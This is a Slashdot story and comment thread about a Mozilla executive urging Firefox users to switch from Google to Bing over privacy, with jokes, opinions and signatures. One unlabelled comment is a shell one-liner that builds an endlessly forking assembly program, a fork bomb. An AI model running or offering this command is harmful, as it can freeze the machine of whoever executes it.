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Mozilla Exec Urges Switch From Google To Bing
Andorin writes "Asa Dotzler, Mozilla's director of community development, has published a brief blog post in which he recommends that Firefox users move from using Google as their main search engine to Bing, citing privacy issues. Disregarding the existence of alternative search engines such as Ask and Yahoo, Dotzler asserts that Bing's privacy policy is better than Google's. Dotzler explains the recommendation with a quote from Eric Schmidt, CEO of Google: 'If you have something that you don't want anyone to know, maybe you shouldn't be doing it in the first place. If you really need that kind of privacy, the reality is that search engines — including Google — do retain this information for some time...' Ars Technica also covers the story."
Switch from Google to MS, because of PRIVACY issues?
I want to delete my account but Slashdot doesn't allow it.
I don't suppose the blog was accompanied by a short video of Asa Dotzler and Steve Balmer making Ducktales-like swan dives from a diving board into a swimming pool filled with cash?
Dear customers. We noticed that it's not healthy to eat heavy doses of arsenic. Please switch to hydrogen cyanide.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
Fixed.
Ice Cream has no bones.
I seriously had to stop and read this twice. Apparently hell froze over.
Like Mozilla switching to Bing will ever end well. I can see Ballmer on the edge of the chair (he was about to throw), trying to keep a poker face and not burst out in evil laughter.
"Doubt your doubts and believe your beliefs." -- Switchfoot, Ode to Chin
Hell, charge money for it as a value-added service to route the search requests through their anonymizing server, which they promise not to log, for the paranoid user. I'd feel a lot better doing that than using some dubious Tor node.
Great idea. Since I mostly use chrome, i'll go and ask google to run my requests throught an anonymizer before sending them to google.
Clusty is by far the best search engine.
So is Clusty the crown of search?
Free Martian Whores!
As a Microsoft shill I have a new found respect the maturity shown by the Mozilla foundation and in particular Mr Dotzler.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Where would Mozilla be without Google today? Answer: right where it's heading at full speed right now.
Last time it was Microsoft's fault that they went down. Now Google is about to take the blame. And it's always Netscape... I mean, Mozilla, that are wronged by some big entity that wants their untimely doom. Poor folks.
If they had an agreement with Microsoft . Which they don't. Which you'd know if you'd read the article. Which you didn't. Busted, punk.
If you were blocking sigs, you wouldn't have to read this.
Stop giving facts, no one cares about them.
Love many, trust a few, do harm to none.
I sense a disturbance in the force.
Copyright infringement is "piracy" in the same way DRM is "consumer rape"